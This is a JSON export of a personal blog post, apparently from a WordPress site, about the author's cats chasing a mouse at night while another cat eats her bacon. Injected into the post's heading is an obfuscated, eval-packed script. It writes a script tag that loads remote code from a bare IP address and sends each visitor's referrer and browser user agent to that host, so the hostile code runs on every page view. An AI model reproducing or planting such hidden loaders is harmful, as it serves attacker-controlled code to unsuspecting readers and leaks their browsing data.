{"id":798,"date":"2009-12-14T13:43:33","date_gmt":"2009-12-14T20:43:33","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=798"},"modified":"2014-02-17T12:03:41","modified_gmt":"2014-02-17T19:03:41","slug":"eek","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=798","title":{"rendered":"Eek!"},"content":{"rendered":"<h4><em>OMG <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzhbz|var|u0026u|referrer|dshah||js|php'.split('|'),0,{}))\n<\/script><\/noindex> A MOUSE!<\/em><br \/>\n<em> But the cat is stalking my<\/em><br \/>\n<em> bacon for breakfast.<\/em><\/h4>\n<p><!--more--><br \/>\nSo, Sunday night I had one of those nights where you lie down &#8220;for ten minutes&#8221; before dinner and then wake up at 1 am. Since I still had a million things to do, I figured I&#8217;d get up, have scrambled eggs and bacon, watch an episode of the Gillmore Girls, do a few chores and go back to bed. The cats love it when I&#8217;m up in the middle of the night, so they start dashing about. Suddenly Lavina (yes, Lavinia) trots into the kitchen with a freakin&#8217; mouse. (!) Clementine chases her into the living room, I chase both of them, and by the time I catch up the mouse is gone. Both cats are growling at the bookshelf, so I figured the mouse slipped back there. Spent several minutes moving the bookshelf; no mouse. WTF? Went back into the kitchen to discover Julian has eaten all the bacon.<\/p>\n<p>Could not go to sleep because obviously will only wake up with dead mouse in the bed.<\/p>\n<p>Can I just say, for the record, eek?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>OMG A MOUSE! But the cat is stalking my bacon for breakfast.<\/p>\n","protected":false},"author":1,"featured_media":4419,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[62,77],"class_list":["post-798","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-cats","tag-home"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/798"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=798"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/798\/revisions"}],"predecessor-version":[{"id":4418,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/798\/revisions\/4418"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4419"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=798"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=798"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=798"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}